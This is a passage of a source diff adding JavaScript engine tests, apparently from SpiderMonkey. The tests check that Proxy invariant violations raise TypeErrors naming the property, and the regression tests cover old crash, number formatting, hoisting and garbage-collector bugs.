+ *
+ * Beyond the presence of the property name, these tests do not care about the
+ * contents of the message.
+ *
+ * The reason for requiring the property name is simple: with ECMAScript
+ * proxies, it can be really hard to figure out what little assertion causes a
+ * TypeError in the first place.
+ */
+"use strict";
+
+function assertThrowsTypeErrorIncludes(f, propStr, details) {
+ var fullmsg;
+ try {
+ f();
+ }
+ catch (exc) {
+ if (!(exc instanceof TypeError))
+ fullmsg =
+ "Assertion failed: expected TypeError, got " + exc;
+ else if (!exc.message.includes(propStr))
+ fullmsg =
+ `Assertion failed: expected TypeError message '${exc.message}' to include '${propStr}'`;
+ else if (details && !exc.message.includes(details))
+ fullmsg =
+ `Assertion failed: expected TypeError message '${exc.message}' to include '${details}'`;
+ else
+ return;
+ }
+
+ if (fullmsg === undefined) {
+ fullmsg =
+ "Assertion failed: expected TypeError, no exception thrown";
+ }
+
+ throw new Error(fullmsg);
+}
+
+const STR = "one", STR_NAME = `"one"`;
+const SYM = Symbol("two"), SYM_NAME = `'Symbol("two")'`;
+
+function errorHasPropertyTests(test) {
+ assertThrowsTypeErrorIncludes(() => test(STR), STR_NAME);
+ assertThrowsTypeErrorIncludes(() => test(SYM), SYM_NAME);
+}
+
+function errorHasPropertyTestsWithDetails(test) {
+ let [throwable, details] = test(STR);
+ assertThrowsTypeErrorIncludes(throwable, STR_NAME, details);
+
+ [throwable, details] = test(SYM);
+ assertThrowsTypeErrorIncludes(throwable, SYM_NAME, details);
+}
+
+// getOwnPropertyDescriptor
+
+function testGetOwnPropertyDescriptor_OBJORUNDEF(propName) {
+ // JSMSG_PROXY_GETOWN_OBJORUNDEF
+ const h = {
+ getOwnPropertyDescriptor: () => 2
+ };
+
+ const t = {};
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_NC_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_NC_AS_NE
+ const h = {
+ getOwnPropertyDescriptor: () => undefined
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_E_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_E_AS_NE
+ const h = {
+ getOwnPropertyDescriptor: () => undefined,
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+ Reflect.preventExtensions(t);
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_NE_AS_NC(propName) {
+ // JSMSG_CANT_REPORT_NE_AS_NC
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_C_AS_NC(propName) {
+ // JSMSG_CANT_REPORT_C_AS_NC
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false // here's the difference
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+
+ const p = new Proxy(t, h);
+
+ Reflect.getOwnPropertyDescriptor(p, propName);
+}
+
+function testGetOwnPropertyDescriptor_INVALID_NOT_EXTENSIBLE(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_NOT_EXTENSIBLE
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.preventExtensions(t);
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report an extensible object as non-extensible"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_C_AS_NC(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NC_AS_C
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report an existing non-configurable property as configurable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_ENUM_DIFFERENT_CURRENT(cEnumerable, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_ENUM_DIFFERENT
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: !cEnumerable,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: cEnumerable,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report a different 'enumerable' from target when target is not configurable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_CURRENT_NC_DIFF_TYPE(cAccessor, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CURRENT_NC_DIFF_TYPE
+ const accDesc = {
+ get: () => 1,
+ enumerable: true,
+ configurable: false,
+ };
+ const dataDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const h = {
+ getOwnPropertyDescriptor: () => { return (cAccessor ? dataDesc : accDesc); }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, cAccessor ? accDesc : dataDesc);
+ const p = new Proxy(t, h);
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report a different descriptor type when target is not configurable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_NW_AS_W(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NW_AS_W
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report a non-configurable, non-writable property as writable"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_DIFFERENT_VALUE(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_DIFFERENT_VALUE
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy must report the same value for the non-writable, non-configurable property"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_SETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_SETTERS_DIFFERENT
+ const g = () => 1;
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report different setters for a currently non-configurable property"];
+}
+
+function testGetOwnPropertyDescriptor_INVALID_GETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_GETTERS_DIFFERENT
+ const h = {
+ getOwnPropertyDescriptor: function() {
+ return {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+ }
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.getOwnPropertyDescriptor(p, propName); },
+ "proxy can't report different getters for a currently non-configurable property"];
+}
+
+// defineProperty
+function testDefineProperty_CANT_DEFINE_NEW(propName) {
+ // JSMSG_CANT_DEFINE_NEW
+ const h = {
+ defineProperty: () => true
+ };
+
+ const t = {};
+ Reflect.preventExtensions(t);
+
+ const p = new Proxy(t, h);
+ Reflect.defineProperty(p, propName, {});
+}
+
+function testDefineProperty_NE_AS_NC(propName) {
+ // JSMSG_CANT_DEFINE_NE_AS_NC
+ const h = {
+ defineProperty: () => true
+ };
+
+ const t = {};
+
+ const p = new Proxy(t, h);
+ Reflect.defineProperty(p, propName, {
+ value: 1,
+ enumerable: true,
+ writable: true,
+ configurable: false,
+ });
+}
+
+/* Reflect.defineProperty(proxy, propName, desc) cannot throw
+ * JSMSG_CANT_REPORT_INVALID with DETAILS_NOT_EXTENSIBLE. Here's why:
+ *
+ * To throw with DETAILS_NOT_EXTENSIBLE, current must be undefined and the
+ * target must not be extensible, inside ValidateAndApplyPropertyDescriptor.
+ *
+ * ValidateAndApplyPropertyDescriptor's current is also
+ * IsCompatiblePropertyDescriptor's current, and therefore also
+ * targetDesc in [[DefineOwnProperty]] for proxies at step 16b.
+ *
+ * BUT step 16 is not reached if targetDesc in [[DefineOwnProperty]] is
+ * undefined: instead step 15 is invoked. QED.
+ */
+
+function testDefineProperty_INVALID_NC_AS_C(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NC_AS_C
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report an existing non-configurable property as configurable"];
+}
+
+function testDefineProperty_INVALID_ENUM_DIFFERENT_CURRENT(cEnumerable, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_ENUM_DIFFERENT
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: !cEnumerable,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: cEnumerable,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report a different 'enumerable' from target when target is not configurable"];
+}
+
+function testDefineProperty_INVALID_CURRENT_NC_DIFF_TYPE(cAccessor, propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CURRENT_NC_DIFF_TYPE
+ const accDesc = {
+ get: () => 1,
+ enumerable: true,
+ configurable: false,
+ };
+ const dataDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const h = {
+ defineProperty: () => true,
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, cAccessor ? accDesc : dataDesc);
+ const p = new Proxy(t, h);
+ return [() => { Reflect.defineProperty(p, propName, cAccessor ? dataDesc : accDesc); },
+ "proxy can't report a different descriptor type when target is not configurable"];
+}
+
+function testDefineProperty_INVALID_NW_AS_W(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_CANT_REPORT_NW_AS_W
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report a non-configurable, non-writable property as writable"];
+}
+
+function testDefineProperty_INVALID_DIFFERENT_VALUE(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_DIFFERENT_VALUE
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 2,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy must report the same value for the non-writable, non-configurable property"];
+}
+
+function testDefineProperty_INVALID_SETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_SETTERS_DIFFERENT
+ const g = () => 1;
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: g,
+ set: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report different setters for a currently non-configurable property"];
+}
+
+function testDefineProperty_INVALID_GETTERS_DIFFERENT(propName) {
+ // JSMSG_CANT_REPORT_INVALID, DETAILS_GETTERS_DIFFERENT
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: () => 2,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't report different getters for a currently non-configurable property"];
+}
+
+function testDefineProperty_INVALID_C_AS_NC(propName) {
+ const h = {
+ defineProperty: function() {
+ return true;
+ }
+ };
+
+ const newDesc = {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+ const p = new Proxy(t, h);
+
+ return [() => { Reflect.defineProperty(p, propName, newDesc); },
+ "proxy can't define an existing configurable property as non-configurable"];
+}
+
+// ownKeys
+
+function testOwnKeys_CANT_SKIP_NC(propName) {
+ // JSMSG_CANT_SKIP_NC
+ const h = {
+ ownKeys: () => []
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+
+ Reflect.ownKeys(p);
+}
+
+function testOwnKeys_E_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_E_AS_NE
+ const h = {
+ ownKeys: () => []
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ configurable: true,
+ value: 1,
+ writable: true,
+ enumerable: true
+ });
+
+ Reflect.preventExtensions(t);
+ const p = new Proxy(t, h);
+
+ Reflect.ownKeys(p);
+}
+
+// has
+
+function testHas_NC_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_NC_AS_NE
+ const h = {
+ has: () => undefined
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ });
+ const p = new Proxy(t, h);
+
+ Reflect.has(p, propName);
+}
+
+function testHas_E_AS_NE(propName) {
+ // JSMSG_CANT_REPORT_E_AS_NE
+ const h = {
+ has: () => undefined
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+ Reflect.preventExtensions(t);
+ const p = new Proxy(t, h);
+
+ Reflect.has(p, propName);
+}
+
+// get
+
+function testGet_SAME_VALUE(propName) {
+ const h = {
+ get: () => 2
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.get(p, propName);
+}
+
+function testGet_MUST_REPORT_UNDEFINED(propName) {
+ // JSMSG_MUST_REPORT_UNDEFINED
+ const h = {
+ get: () => 2
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ set: () => { /* do nothing */},
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.get(p, propName);
+}
+
+// set
+
+function testSet_CANT_SET_NW_NC(propName) {
+ // JSMSG_CANT_SET_NW_NC
+ const h = {
+ set: () => true,
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ value: 1,
+ writable: false,
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.set(p, propName, 3);
+}
+
+function testSet_WO_SETTER(propName) {
+ // JSMSG_MUST_REPORT_UNDEFINED
+ const h = {
+ set: () => true
+ };
+
+ const t = {};
+ Reflect.defineProperty(t, propName, {
+ get: () => { /* do nothing */},
+ enumerable: true,
+ configurable: false
+ });
+
+ const p = new Proxy(t, h);
+ Reflect.set(p, propName, 1);
+}
+
+// test sequence
+
+[
+ testGetOwnPropertyDescriptor_OBJORUNDEF,
+ testGetOwnPropertyDescriptor_NC_AS_NE,
+ testGetOwnPropertyDescriptor_E_AS_NE,
+ testGetOwnPropertyDescriptor_NE_AS_NC,
+ testGetOwnPropertyDescriptor_C_AS_NC,
+
+ testDefineProperty_CANT_DEFINE_NEW,
+ testDefineProperty_NE_AS_NC,
+
+ testOwnKeys_CANT_SKIP_NC,
+ testOwnKeys_E_AS_NE,
+
+ testHas_NC_AS_NE,
+ testHas_E_AS_NE,
+
+ testGet_SAME_VALUE,
+ testGet_MUST_REPORT_UNDEFINED,
+
+ testSet_CANT_SET_NW_NC,
+ testSet_WO_SETTER,
+].forEach(errorHasPropertyTests);
+
+[
+ testGetOwnPropertyDescriptor_INVALID_NOT_EXTENSIBLE,
+ testGetOwnPropertyDescriptor_INVALID_C_AS_NC,
+ testGetOwnPropertyDescriptor_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, true),
+ testGetOwnPropertyDescriptor_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, false),
+ testGetOwnPropertyDescriptor_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, true),
+ testGetOwnPropertyDescriptor_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, false),
+ testGetOwnPropertyDescriptor_INVALID_NW_AS_W,
+ testGetOwnPropertyDescriptor_INVALID_DIFFERENT_VALUE,
+ testGetOwnPropertyDescriptor_INVALID_SETTERS_DIFFERENT,
+ testGetOwnPropertyDescriptor_INVALID_GETTERS_DIFFERENT,
+
+ testDefineProperty_INVALID_NC_AS_C,
+ testDefineProperty_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, true),
+ testDefineProperty_INVALID_ENUM_DIFFERENT_CURRENT.bind(null, false),
+ testDefineProperty_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, true),
+ testDefineProperty_INVALID_CURRENT_NC_DIFF_TYPE.bind(null, false),
+ testDefineProperty_INVALID_NW_AS_W,
+ testDefineProperty_INVALID_DIFFERENT_VALUE,
+ testDefineProperty_INVALID_SETTERS_DIFFERENT,
+ testDefineProperty_INVALID_GETTERS_DIFFERENT,
+ testDefineProperty_INVALID_C_AS_NC,
+].forEach(errorHasPropertyTestsWithDetails);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-139316.js b/js/src/tests/non262/regress/regress-139316.js
new file mode 100644
index 0000000000..45cf177d30
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-139316.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 139316;
+var summary = 'Do not crash in js_ReportIsNotDefined()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
+
+function makeError ()
+{
+ try
+ {
+ foo();
+ }
+ catch (e)
+ {
+ return e;
+ }
+}
+
+
+f = function ()
+{
+ var e = makeError (function c(){}, function (){},
+ {a: 1}, null, undefined,
+ Number.MAX_VALUE, 0, new Number(1),
+ "hello world", str, new String ("newstring"),
+ true, new Boolean(0),
+ new Date());
+ printStatus (e.stack);
+}
+
+ f();
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-140852.js b/js/src/tests/non262/regress/regress-140852.js
new file mode 100644
index 0000000000..13d83ce89e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-140852.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 140852;
+var summary = 'String(number) = xxxx:0000 for some numbers';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value;
+
+value = 99999999999;
+expect = '99999999999';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
+value = 100000000000;
+expect = '100000000000';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
+value = 426067200000;
+expect = '426067200000';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-140974.js b/js/src/tests/non262/regress/regress-140974.js
new file mode 100644
index 0000000000..370272c7c1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-140974.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 May 2002
+ * SUMMARY: |if (false) {var x;} should create the variable x
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=140974
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 140974;
+var TEST_PASSED = 'variable was created';
+var TEST_FAILED = 'variable was NOT created';
+var summary = '|if (false) {var x;}| should create the variable x';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE X --------------
+status = inSection(1);
+actual = TEST_PASSED;
+try{ X;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+var X;
+
+status = inSection(2);
+actual = TEST_PASSED;
+try{ X;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE Y --------------
+status = inSection(3);
+actual = TEST_PASSED;
+try{ Y;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+if (false) {var Y;};
+
+status = inSection(4);
+actual = TEST_PASSED;
+try{ Y;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE Z --------------
+status = inSection(5);
+actual = TEST_PASSED;
+try{ Z;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+if (false) { for (var Z; false;){} }
+
+status = inSection(6);
+actual = TEST_PASSED;
+try{ Z;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js b/js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js
new file mode 100644
index 0000000000..7b145363ce
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs grayRoot
+
+var wm = new WeakMap();
+grayRoot().map = wm;
+wm = null;
+gczeal(13, 7);
+var lfOffThreadGlobal = newGlobal();
+
+reportCompare('do not crash', 'do not crash', 'did not crash!');
diff --git a/js/src/tests/non262/regress/regress-1456512.js b/js/src/tests/non262/regress/regress-1456512.js
new file mode 100644
index 0000000000..24a157ac24
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1456512.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs grayRoot
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 1456512;
+var summary = 'rogue read barrier';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var wm = new WeakMap();
+grayRoot().map = wm;
+wm = null;
+gczeal(13, 7);
+var lfOffThreadGlobal = newGlobal();
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true, "ok");
diff --git a/js/src/tests/non262/regress/regress-1456518-workergray.js b/js/src/tests/non262/regress/regress-1456518-workergray.js
new file mode 100644
index 0000000000..5723ab6241
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1456518-workergray.js
@@ -0,0 +1,7 @@
+if (typeof 'evalInWorder' == 'function') {
+ evalInWorker(`
+ addMarkObservers([grayRoot(), grayRoot().x, this, Object.create(null)]);
+`);
+}
+
+reportCompare('do not crash', 'do not crash', 'did not crash!');
diff --git a/js/src/tests/non262/regress/regress-1463421.js b/js/src/tests/non262/regress/regress-1463421.js
new file mode 100644
index 0000000000..68a4d5977c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1463421.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs grayRoot
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 1463421;
+var summary = 'rogue read barrier';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var exc;
+try {
+var __v_1173 = new WeakMap();
+ grayRoot().map = __v_1173;
+ __v_1173 = null;
+ gczeal(13, 7);
+if (!isNaN()) {
+}
+ (function __f_252() {
+ ( {
+ })()
+ })();
+} catch (e) {
+ exc = e;
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare("" + exc, "TypeError: ({}) is not a function", "ok");
diff --git a/js/src/tests/non262/regress/regress-146596.js b/js/src/tests/non262/regress/regress-146596.js
new file mode 100644
index 0000000000..de21cb98a4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-146596.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 Jun 2002
+ * SUMMARY: Shouldn't crash when catch parameter is "hidden" by varX
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=146596
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 146596;
+var summary = "Shouldn't crash when catch parameter is 'hidden' by varX";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Just seeing we don't crash when executing this function -
+ * This example provided by jim-patterson@ncf.ca
+ *
+ * Brendan: "Jim, thanks for the testcase. But note that |var|
+ * in a JS function makes a function-scoped variable -- JS lacks
+ * block scope apart from for catch variables within catch blocks.
+ *
+ * Therefore the catch variable hides the function-local variable."
+ */
+function F()
+{
+ try
+ {
+ return "A simple exception";
+ }
+ catch(e)
+ {
+ var e = "Another exception";
+ }
+
+ return 'XYZ';
+}
+
+status = inSection(1);
+actual = F();
+expect = "A simple exception";
+addThis();
+
+
+
+/*
+ * Sanity check by Brendan: "This should output
+ *
+ * 24
+ * 42
